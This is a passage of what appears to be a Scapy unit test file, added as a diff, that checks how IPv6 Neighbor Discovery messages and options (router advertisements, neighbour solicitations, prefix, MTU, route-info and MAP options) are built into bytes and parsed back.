+= ICMPv6ND_RA - Basic Instantiation 
+raw(ICMPv6ND_RA()) == b'\x86\x00\x00\x00\x00\x08\x07\x08\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= ICMPv6ND_RA - Basic instantiation with empty dst in IPv6 underlayer
+raw(IPv6(src="2001:db8::1")/ICMPv6ND_RA()) == b'`\x00\x00\x00\x00\x10:\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x86\x00E\xe7\x00\x08\x07\x08\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= ICMPv6ND_RA - Basic dissection
+a=ICMPv6ND_RA(b'\x86\x00\x00\x00\x00\x08\x07\x08\x00\x00\x00\x00\x00\x00\x00\x00')
+a.type == 134 and a.code == 0 and a.cksum == 0 and a.chlim == 0 and a.M == 0 and a.O == 0 and a.H == 0 and a.prf == 1 and a.res == 0 and a.routerlifetime == 1800 and a.reachabletime == 0 and a.retranstimer == 0
+
+= ICMPv6ND_RA - Basic instantiation with empty dst in IPv6 underlayer
+a=IPv6(b'`\x00\x00\x00\x00\x10:\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x86\x00E\xe7\x00\x08\x07\x08\x00\x00\x00\x00\x00\x00\x00\x00')
+isinstance(a, IPv6) and a.nh == 58 and a.hlim == 255 and isinstance(a.payload, ICMPv6ND_RA) and a.payload.type == 134 and a.code == 0 and a.cksum == 0x45e7 and a.chlim == 0 and a.M == 0 and a.O == 0 and a.H == 0 and a.prf == 1 and a.res == 0 and a.routerlifetime == 1800 and a.reachabletime == 0 and a.retranstimer == 0 
+
+= ICMPv6ND_RA - Answers
+assert ICMPv6ND_RA().answers(ICMPv6ND_RS())
+a=IPv6(b'`\x00\x00\x00\x00\x10:\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x86\x00E\xe7\x00\x08\x07\x08\x00\x00\x00\x00\x00\x00\x00\x00')
+b = IPv6(b"`\x00\x00\x00\x00\x10:\xff\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x85\x00M\xff\x00\x00\x00\x00")
+assert a.answers(b)
+
+############
+############
++ ICMPv6ND_NS Class Test
+
+= ICMPv6ND_NS - Basic Instantiation
+raw(ICMPv6ND_NS()) == b'\x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= ICMPv6ND_NS - Instantiation with specific values
+raw(ICMPv6ND_NS(code=0x11, res=3758096385, tgt="ffff::1111")) == b'\x87\x11\x00\x00\xe0\x00\x00\x01\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11'
+
+= ICMPv6ND_NS - Basic Dissection
+a=ICMPv6ND_NS(b'\x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
+a.code==0 and a.res==0 and a.tgt=="::"
+
+= ICMPv6ND_NS - Dissection with specific values
+a=ICMPv6ND_NS(b'\x87\x11\x00\x00\xe0\x00\x00\x01\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11')
+a.code==0x11 and a.res==3758096385 and a.tgt=="ffff::1111"
+
+= ICMPv6ND_NS - IPv6 layer fields overloading
+a=IPv6(raw(IPv6()/ICMPv6ND_NS()))
+a.nh == 58 and a.dst=="ff02::1" and a.hlim==255
+
+############
+############
++ ICMPv6ND_NA Class Test
+
+= ICMPv6ND_NA - Basic Instantiation
+raw(ICMPv6ND_NA()) == b'\x88\x00\x00\x00\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= ICMPv6ND_NA - Instantiation with specific values
+raw(ICMPv6ND_NA(code=0x11, R=0, S=1, O=0, res=1, tgt="ffff::1111")) == b'\x88\x11\x00\x00@\x00\x00\x01\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11'
+
+= ICMPv6ND_NA - Basic Dissection
+a=ICMPv6ND_NA(b'\x88\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
+a.code==0 and a.R==0 and a.S==0 and a.O==0 and a.res==0 and a.tgt=="::"
+
+= ICMPv6ND_NA - Dissection with specific values
+a=ICMPv6ND_NA(b'\x88\x11\x00\x00@\x00\x00\x01\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11')
+a.code==0x11 and a.R==0 and a.S==1 and a.O==0 and a.res==1 and a.tgt=="ffff::1111"
+assert a.hashret() == b'ffff::1111'
+
+= ICMPv6ND_NS - IPv6 layer fields overloading
+a=IPv6(raw(IPv6()/ICMPv6ND_NS()))
+a.nh == 58 and a.dst=="ff02::1" and a.hlim==255
+
+
+############
+############
++ ICMPv6ND_ND/ICMPv6ND_ND matching test
+
+=  ICMPv6ND_ND/ICMPv6ND_ND matching - test 1
+# Sent NS 
+a=IPv6(b'`\x00\x00\x00\x00\x18:\xff\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f\x1f\xff\xfe\xcaFP\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x87\x00UC\x00\x00\x00\x00\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f4\xff\xfe\x8a\x8a\xa1')
+# Received NA 
+b=IPv6(b'n\x00\x00\x00\x00 :\xff\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f4\xff\xfe\x8a\x8a\xa1\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f\x1f\xff\xfe\xcaFP\x88\x00\xf3F\xe0\x00\x00\x00\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f4\xff\xfe\x8a\x8a\xa1\x02\x01\x00\x0f4\x8a\x8a\xa1')
+b.answers(a)
+
+
+############
+############
++ ICMPv6NDOptUnknown Class Test
+
+= ICMPv6NDOptUnknown - Basic Instantiation
+raw(ICMPv6NDOptUnknown()) == b'\x00\x02'
+
+= ICMPv6NDOptUnknown - Instantiation with specific values
+raw(ICMPv6NDOptUnknown(len=4, data="somestring")) == b'\x00\x04somestring'
+
+= ICMPv6NDOptUnknown - Basic Dissection
+a=ICMPv6NDOptUnknown(b'\x00\x02')
+a.type == 0 and a.len == 2
+
+= ICMPv6NDOptUnknown - Dissection with specific values 
+a=ICMPv6NDOptUnknown(b'\x00\x04somerawing')
+a.type == 0 and a.len==4 and a.data == b"so" and isinstance(a.payload, Raw) and a.payload.load == b"merawing"
+
+
+############
+############
++ ICMPv6NDOptSrcLLAddr Class Test
+
+= ICMPv6NDOptSrcLLAddr - Basic Instantiation
+raw(ICMPv6NDOptSrcLLAddr()) == b'\x01\x01\x00\x00\x00\x00\x00\x00'
+
+= ICMPv6NDOptSrcLLAddr - Instantiation with specific values
+raw(ICMPv6NDOptSrcLLAddr(len=2, lladdr="11:11:11:11:11:11")) == b'\x01\x02\x11\x11\x11\x11\x11\x11'
+
+= ICMPv6NDOptSrcLLAddr - Basic Dissection
+a=ICMPv6NDOptSrcLLAddr(b'\x01\x01\x00\x00\x00\x00\x00\x00')
+a.type == 1 and a.len == 1 and a.lladdr == "00:00:00:00:00:00"
+
+= ICMPv6NDOptSrcLLAddr - Instantiation with specific values
+a=ICMPv6NDOptSrcLLAddr(b'\x01\x02\x11\x11\x11\x11\x11\x11') 
+a.type == 1 and a.len == 2 and a.lladdr == "11:11:11:11:11:11"
+
+
+############
+############
++ ICMPv6NDOptDstLLAddr Class Test
+
+= ICMPv6NDOptDstLLAddr - Basic Instantiation
+raw(ICMPv6NDOptDstLLAddr()) == b'\x02\x01\x00\x00\x00\x00\x00\x00'
+
+= ICMPv6NDOptDstLLAddr - Instantiation with specific values
+raw(ICMPv6NDOptDstLLAddr(len=2, lladdr="11:11:11:11:11:11")) == b'\x02\x02\x11\x11\x11\x11\x11\x11'
+
+= ICMPv6NDOptDstLLAddr - Basic Dissection
+a=ICMPv6NDOptDstLLAddr(b'\x02\x01\x00\x00\x00\x00\x00\x00')
+a.type == 2 and a.len == 1 and a.lladdr == "00:00:00:00:00:00"
+
+= ICMPv6NDOptDstLLAddr - Instantiation with specific values
+a=ICMPv6NDOptDstLLAddr(b'\x02\x02\x11\x11\x11\x11\x11\x11') 
+a.type == 2 and a.len == 2 and a.lladdr == "11:11:11:11:11:11"
+
+
+############
+############
++ ICMPv6NDOptPrefixInfo Class Test
+
+= ICMPv6NDOptPrefixInfo - Basic Instantiation
+raw(ICMPv6NDOptPrefixInfo()) == b'\x03\x04\x00\xc0\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= ICMPv6NDOptPrefixInfo - Instantiation with specific values
+raw(ICMPv6NDOptPrefixInfo(len=5, prefixlen=64, L=0, A=0, R=1, res1=1, validlifetime=0x11111111, preferredlifetime=0x22222222, res2=0x33333333, prefix="2001:db8::1")) == b'\x03\x05@!\x11\x11\x11\x11""""3333 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01'
+
+= ICMPv6NDOptPrefixInfo - Basic Dissection
+a=ICMPv6NDOptPrefixInfo(b'\x03\x04\x00\xc0\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
+a.type == 3 and a.len == 4 and a.prefixlen == 0 and a.L == 1 and a.A == 1 and a.R == 0 and a.res1 == 0 and a.validlifetime == 0xffffffff and a.preferredlifetime == 0xffffffff and a.res2 == 0 and a.prefix == "::"
+
+= ICMPv6NDOptPrefixInfo - Instantiation with specific values
+a=ICMPv6NDOptPrefixInfo(b'\x03\x05@!\x11\x11\x11\x11""""3333 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01')
+a.type == 3 and a.len == 5 and a.prefixlen == 64 and a.L == 0 and a.A == 0 and a.R == 1 and a.res1 == 1 and a.validlifetime == 0x11111111 and a.preferredlifetime == 0x22222222 and a.res2 == 0x33333333 and a.prefix == "2001:db8::1"
+
+
+############
+############
++ ICMPv6NDOptRedirectedHdr Class Test 
+
+= ICMPv6NDOptRedirectedHdr - Basic Instantiation
+~ ICMPv6NDOptRedirectedHdr
+raw(ICMPv6NDOptRedirectedHdr()) == b'\x04\x01\x00\x00\x00\x00\x00\x00'
+
+= ICMPv6NDOptRedirectedHdr - Instantiation with specific values 
+~ ICMPv6NDOptRedirectedHdr
+raw(ICMPv6NDOptRedirectedHdr(len=0xff, res="abcdef", pkt="somestringthatisnotanipv6packet")) == b'\x04\xffabcdefsomestringthatisnotanipv'
+
+= ICMPv6NDOptRedirectedHdr - Instantiation with simple IPv6 packet (no upper layer)
+~ ICMPv6NDOptRedirectedHdr
+raw(ICMPv6NDOptRedirectedHdr(pkt=IPv6())) == b'\x04\x06\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01'
+
+= ICMPv6NDOptRedirectedHdr - Basic Dissection
+~ ICMPv6NDOptRedirectedHdr
+a=ICMPv6NDOptRedirectedHdr(b'\x04\x00\x00\x00')
+assert(a.type == 4)
+assert(a.len == 0)
+assert(a.res == b"\x00\x00")
+assert(a.pkt == b"")
+
+= ICMPv6NDOptRedirectedHdr - Disssection with specific values
+~ ICMPv6NDOptRedirectedHdr
+a=ICMPv6NDOptRedirectedHdr(b'\x04\xff\x11\x11\x00\x00\x00\x00somerawingthatisnotanipv6pac')
+a.type == 4 and a.len == 255 and a.res == b'\x11\x11\x00\x00\x00\x00' and isinstance(a.pkt, Raw) and a.pkt.load == b"somerawingthatisnotanipv6pac"
+
+= ICMPv6NDOptRedirectedHdr - Dissection with cut IPv6 Header
+~ ICMPv6NDOptRedirectedHdr
+a=ICMPv6NDOptRedirectedHdr(b'\x04\x06\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
+a.type == 4 and a.len == 6 and a.res == b"\x00\x00\x00\x00\x00\x00" and isinstance(a.pkt, Raw) and a.pkt.load == b'`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= ICMPv6NDOptRedirectedHdr - Complete dissection
+~ ICMPv6NDOptRedirectedHdr
+x=ICMPv6NDOptRedirectedHdr(b'\x04\x06\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01')
+y=x.copy()
+del(y.len)
+x == ICMPv6NDOptRedirectedHdr(raw(y))
+
+# Add more tests
+
+
+############
+############
++ ICMPv6NDOptMTU Class Test 
+
+= ICMPv6NDOptMTU - Basic Instantiation
+raw(ICMPv6NDOptMTU()) == b'\x05\x01\x00\x00\x00\x00\x05\x00'
+
+= ICMPv6NDOptMTU - Instantiation with specific values
+raw(ICMPv6NDOptMTU(len=2, res=0x1111, mtu=1500)) == b'\x05\x02\x11\x11\x00\x00\x05\xdc'
+ 
+= ICMPv6NDOptMTU - Basic dissection
+a=ICMPv6NDOptMTU(b'\x05\x01\x00\x00\x00\x00\x05\x00')
+a.type == 5 and a.len == 1 and a.res == 0 and a.mtu == 1280
+
+= ICMPv6NDOptMTU - Dissection with specific values
+a=ICMPv6NDOptMTU(b'\x05\x02\x11\x11\x00\x00\x05\xdc')
+a.type == 5 and a.len == 2 and a.res == 0x1111 and a.mtu == 1500
+
+
+############
+############
++ ICMPv6NDOptShortcutLimit Class Test (RFC2491)
+
+= ICMPv6NDOptShortcutLimit - Basic Instantiation
+raw(ICMPv6NDOptShortcutLimit()) == b'\x06\x01(\x00\x00\x00\x00\x00'
+
+= ICMPv6NDOptShortcutLimit - Instantiation with specific values
+raw(ICMPv6NDOptShortcutLimit(len=2, shortcutlim=0x11, res1=0xee, res2=0xaaaaaaaa)) == b'\x06\x02\x11\xee\xaa\xaa\xaa\xaa'
+
+= ICMPv6NDOptShortcutLimit - Basic Dissection
+a=ICMPv6NDOptShortcutLimit(b'\x06\x01(\x00\x00\x00\x00\x00')
+a.type == 6 and a.len == 1 and a.shortcutlim == 40 and a.res1 == 0 and a.res2 == 0
+
+= ICMPv6NDOptShortcutLimit - Dissection with specific values
+a=ICMPv6NDOptShortcutLimit(b'\x06\x02\x11\xee\xaa\xaa\xaa\xaa')
+a.len==2 and a.shortcutlim==0x11 and a.res1==0xee and a.res2==0xaaaaaaaa
+
+
+############
+############
++ ICMPv6NDOptAdvInterval Class Test 
+
+= ICMPv6NDOptAdvInterval - Basic Instantiation
+raw(ICMPv6NDOptAdvInterval()) == b'\x07\x01\x00\x00\x00\x00\x00\x00'
+
+= ICMPv6NDOptAdvInterval - Instantiation with specific values
+raw(ICMPv6NDOptAdvInterval(len=2, res=0x1111, advint=0xffffffff)) == b'\x07\x02\x11\x11\xff\xff\xff\xff'
+ 
+= ICMPv6NDOptAdvInterval - Basic dissection
+a=ICMPv6NDOptAdvInterval(b'\x07\x01\x00\x00\x00\x00\x00\x00')
+a.type == 7 and a.len == 1 and a.res == 0 and a.advint == 0
+
+= ICMPv6NDOptAdvInterval - Dissection with specific values
+a=ICMPv6NDOptAdvInterval(b'\x07\x02\x11\x11\xff\xff\xff\xff')
+a.type == 7 and a.len == 2 and a.res == 0x1111 and a.advint == 0xffffffff
+
+
+############
+############
++ ICMPv6NDOptHAInfo Class Test
+
+= ICMPv6NDOptHAInfo - Basic Instantiation
+raw(ICMPv6NDOptHAInfo()) == b'\x08\x01\x00\x00\x00\x00\x00\x01'
+
+= ICMPv6NDOptHAInfo - Instantiation with specific values
+raw(ICMPv6NDOptHAInfo(len=2, res=0x1111, pref=0x2222, lifetime=0x3333)) == b'\x08\x02\x11\x11""33'
+ 
+= ICMPv6NDOptHAInfo - Basic dissection
+a=ICMPv6NDOptHAInfo(b'\x08\x01\x00\x00\x00\x00\x00\x01')
+a.type == 8 and a.len == 1 and a.res == 0 and a.pref == 0 and a.lifetime == 1
+
+= ICMPv6NDOptHAInfo - Dissection with specific values
+a=ICMPv6NDOptHAInfo(b'\x08\x02\x11\x11""33')
+a.type == 8 and a.len == 2 and a.res == 0x1111 and a.pref == 0x2222 and a.lifetime == 0x3333
+
+
+############
+############
++ ICMPv6NDOptSrcAddrList Class Test 
+
+= ICMPv6NDOptSrcAddrList - Basic Instantiation
+raw(ICMPv6NDOptSrcAddrList()) == b'\t\x01\x00\x00\x00\x00\x00\x00'
+
+= ICMPv6NDOptSrcAddrList - Instantiation with specific values (auto len)
+raw(ICMPv6NDOptSrcAddrList(res="BBBBBB", addrlist=["ffff::ffff", "1111::1111"])) == b'\t\x05BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11'
+
+= ICMPv6NDOptSrcAddrList - Instantiation with specific values 
+raw(ICMPv6NDOptSrcAddrList(len=3, res="BBBBBB", addrlist=["ffff::ffff", "1111::1111"])) == b'\t\x03BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11'
+
+= ICMPv6NDOptSrcAddrList - Basic Dissection
+a=ICMPv6NDOptSrcAddrList(b'\t\x01\x00\x00\x00\x00\x00\x00')
+a.type == 9 and a.len == 1 and a.res == b'\x00\x00\x00\x00\x00\x00' and not a.addrlist
+
+= ICMPv6NDOptSrcAddrList - Dissection with specific values (auto len)
+a=ICMPv6NDOptSrcAddrList(b'\t\x05BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11')
+a.type == 9 and a.len == 5 and a.res == b'BBBBBB' and len(a.addrlist) == 2 and a.addrlist[0] == "ffff::ffff" and a.addrlist[1] == "1111::1111"
+
+= ICMPv6NDOptSrcAddrList - Dissection with specific values 
+conf.debug_dissector = False
+a=ICMPv6NDOptSrcAddrList(b'\t\x03BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11')
+conf.debug_dissector = True
+a.type == 9 and a.len == 3 and a.res == b'BBBBBB' and len(a.addrlist) == 1 and a.addrlist[0] == "ffff::ffff" and isinstance(a.payload, Raw) and a.payload.load == b'\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11'
+
+
+############
+############
++ ICMPv6NDOptTgtAddrList Class Test 
+
+= ICMPv6NDOptTgtAddrList - Basic Instantiation
+raw(ICMPv6NDOptTgtAddrList()) == b'\n\x01\x00\x00\x00\x00\x00\x00'
+
+= ICMPv6NDOptTgtAddrList - Instantiation with specific values (auto len)
+raw(ICMPv6NDOptTgtAddrList(res="BBBBBB", addrlist=["ffff::ffff", "1111::1111"])) == b'\n\x05BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11'
+
+= ICMPv6NDOptTgtAddrList - Instantiation with specific values 
+raw(ICMPv6NDOptTgtAddrList(len=3, res="BBBBBB", addrlist=["ffff::ffff", "1111::1111"])) == b'\n\x03BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11'
+
+= ICMPv6NDOptTgtAddrList - Basic Dissection
+a=ICMPv6NDOptTgtAddrList(b'\n\x01\x00\x00\x00\x00\x00\x00')
+a.type == 10 and a.len == 1 and a.res == b'\x00\x00\x00\x00\x00\x00' and not a.addrlist
+
+= ICMPv6NDOptTgtAddrList - Dissection with specific values (auto len)
+a=ICMPv6NDOptTgtAddrList(b'\n\x05BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11')
+a.type == 10 and a.len == 5 and a.res == b'BBBBBB' and len(a.addrlist) == 2 and a.addrlist[0] == "ffff::ffff" and a.addrlist[1] == "1111::1111"
+
+= ICMPv6NDOptTgtAddrList - Instantiation with specific values 
+conf.debug_dissector = False
+a=ICMPv6NDOptTgtAddrList(b'\n\x03BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11')
+conf.debug_dissector = True
+a.type == 10 and a.len == 3 and a.res == b'BBBBBB' and len(a.addrlist) == 1 and a.addrlist[0] == "ffff::ffff" and isinstance(a.payload, Raw) and a.payload.load == b'\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11'
+
+
+############
+############
++ ICMPv6NDOptIPAddr Class Test (RFC 4068)
+
+= ICMPv6NDOptIPAddr - Basic Instantiation 
+raw(ICMPv6NDOptIPAddr()) == b'\x11\x03\x01@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= ICMPv6NDOptIPAddr - Instantiation with specific values
+raw(ICMPv6NDOptIPAddr(len=5, optcode=0xff, plen=40, res=0xeeeeeeee, addr="ffff::1111")) == b'\x11\x05\xff(\xee\xee\xee\xee\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11'
+
+= ICMPv6NDOptIPAddr - Basic Dissection 
+a=ICMPv6NDOptIPAddr(b'\x11\x03\x01@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
+a.type == 17 and a.len == 3 and a.optcode == 1 and a.plen == 64 and a.res == 0 and a.addr == "::"
+
+= ICMPv6NDOptIPAddr - Dissection with specific values
+a=ICMPv6NDOptIPAddr(b'\x11\x05\xff(\xee\xee\xee\xee\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11')
+a.type == 17 and a.len == 5 and a.optcode == 0xff and a.plen == 40 and a.res == 0xeeeeeeee and a.addr == "ffff::1111"
+
+
+############
+############
++ ICMPv6NDOptNewRtrPrefix Class Test (RFC 4068)
+
+= ICMPv6NDOptNewRtrPrefix - Basic Instantiation 
+raw(ICMPv6NDOptNewRtrPrefix()) == b'\x12\x03\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= ICMPv6NDOptNewRtrPrefix - Instantiation with specific values
+raw(ICMPv6NDOptNewRtrPrefix(len=5, optcode=0xff, plen=40, res=0xeeeeeeee, prefix="ffff::1111")) == b'\x12\x05\xff(\xee\xee\xee\xee\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11'
+
+= ICMPv6NDOptNewRtrPrefix - Basic Dissection 
+a=ICMPv6NDOptNewRtrPrefix(b'\x12\x03\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
+a.type == 18 and a.len == 3 and a.optcode == 0 and a.plen == 64 and a.res == 0 and a.prefix == "::"
+
+= ICMPv6NDOptNewRtrPrefix - Dissection with specific values
+a=ICMPv6NDOptNewRtrPrefix(b'\x12\x05\xff(\xee\xee\xee\xee\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11')
+a.type == 18 and a.len == 5 and a.optcode == 0xff and a.plen == 40 and a.res == 0xeeeeeeee and a.prefix == "ffff::1111"
+
+
+############
+############
++ ICMPv6NDOptLLA Class Test (RFC 4068)
+
+= ICMPv6NDOptLLA - Basic Instantiation 
+raw(ICMPv6NDOptLLA()) == b'\x13\x01\x00\x00\x00\x00\x00\x00\x00'
+
+= ICMPv6NDOptLLA - Instantiation with specific values
+raw(ICMPv6NDOptLLA(len=2, optcode=3, lla="ff:11:ff:11:ff:11")) == b'\x13\x02\x03\xff\x11\xff\x11\xff\x11'
+
+= ICMPv6NDOptLLA - Basic Dissection 
+a=ICMPv6NDOptLLA(b'\x13\x01\x00\x00\x00\x00\x00\x00\x00')
+a.type == 19 and a.len == 1 and a.optcode == 0 and a.lla == "00:00:00:00:00:00"
+
+= ICMPv6NDOptLLA - Dissection with specific values
+a=ICMPv6NDOptLLA(b'\x13\x02\x03\xff\x11\xff\x11\xff\x11')
+a.type == 19 and a.len == 2 and a.optcode == 3 and a.lla == "ff:11:ff:11:ff:11"
+
+
+############
+############
++ ICMPv6NDOptRouteInfo Class Test
+
+= ICMPv6NDOptRouteInfo - Basic Instantiation
+raw(ICMPv6NDOptRouteInfo()) == b'\x18\x01\x00\x00\xff\xff\xff\xff'
+
+= ICMPv6NDOptRouteInfo - Instantiation with forced prefix but no length
+raw(ICMPv6NDOptRouteInfo(prefix="2001:db8:1:1:1:1:1:1")) == b'\x18\x03\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01'
+
+= ICMPv6NDOptRouteInfo - Instantiation with forced length values (1/4)
+raw(ICMPv6NDOptRouteInfo(len=1, prefix="2001:db8:1:1:1:1:1:1")) == b'\x18\x01\x00\x00\xff\xff\xff\xff'
+
+= ICMPv6NDOptRouteInfo - Instantiation with forced length values (2/4)
+raw(ICMPv6NDOptRouteInfo(len=2, prefix="2001:db8:1:1:1:1:1:1")) == b'\x18\x02\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x01\x00\x01'
+
+= ICMPv6NDOptRouteInfo - Instantiation with forced length values (3/4)
+raw(ICMPv6NDOptRouteInfo(len=3, prefix="2001:db8:1:1:1:1:1:1")) == b'\x18\x03\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01'
+
+= ICMPv6NDOptRouteInfo - Instantiation with forced length values (4/4)
+raw(ICMPv6NDOptRouteInfo(len=4, prefix="2001:db8:1:1:1:1:1:1")) == b'\x18\x04\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= ICMPv6NDOptRouteInfo - Instantiation with specific values 
+raw(ICMPv6NDOptRouteInfo(len=6, plen=0x11, res1=1, prf=3, res2=1, rtlifetime=0x22222222, prefix="2001:db8::1")) == b'\x18\x06\x119"""" \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= ICMPv6NDOptRouteInfo - Basic dissection
+a=ICMPv6NDOptRouteInfo(b'\x18\x03\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
+a.type == 24 and a.len == 3 and a.plen == 0 and a.res1 == 0 and a.prf == 0 and a.res2 == 0 and a.rtlifetime == 0xffffffff and a. prefix == "::"
+
+= ICMPv6NDOptRouteInfo - Dissection with specific values 
+a=ICMPv6NDOptRouteInfo(b'\x18\x04\x119"""" \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01')
+a.plen == 0x11 and a.res1 == 1 and a.prf == 3 and a.res2 == 1 and a.rtlifetime == 0x22222222 and a.prefix == "2001:db8::1" 
+
+
+############
+############
++ ICMPv6NDOptMAP Class Test
+
+= ICMPv6NDOptMAP - Basic Instantiation
+raw(ICMPv6NDOptMAP()) == b'\x17\x03\x1f\x80\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= ICMPv6NDOptMAP - Instantiation with specific values
+raw(ICMPv6NDOptMAP(len=5, dist=3, pref=10, R=0, res=1, validlifetime=0x11111111, addr="ffff::1111")) == b'\x17\x05:\x01\x11\x11\x11\x11\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11'
+
+= ICMPv6NDOptMAP - Basic Dissection
